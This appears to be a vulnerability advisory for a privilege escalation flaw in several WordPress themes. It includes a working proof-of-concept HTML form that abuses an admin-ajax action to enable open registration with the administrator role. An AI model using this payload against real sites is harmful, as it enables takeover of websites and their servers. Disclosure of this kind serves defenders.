Multiple Themes - Privilige Escalation

2015-06-2600:00:00

A. Samman

EPSS

0.001

Percentile

44.1%

JSON

The themes suffer from a privilege escalation vulnerability, any authenticated user can trigger this vulnerability due to weak permissions checking. An attacker can update options, such as changing user’s default role, registration state and others, which may lead to executing commands/code on the server and taking over the website. Tested Versions: Simpolio 1.3.2 Pont 1.5 Teardrop 1.8.1 Vernissage 1.2.8

<form action="http://example.com/wp-admin/admin-ajax.php?action=of_ajax_post_action" method="post" >
	<input name="type" value="save" type="hidden" />
	<input name="data[users_can_register]" value="1" type="hidden" />
	<input name="data[default_role]" value="administrator" type="hidden" />
	<input type="submit" >
</form>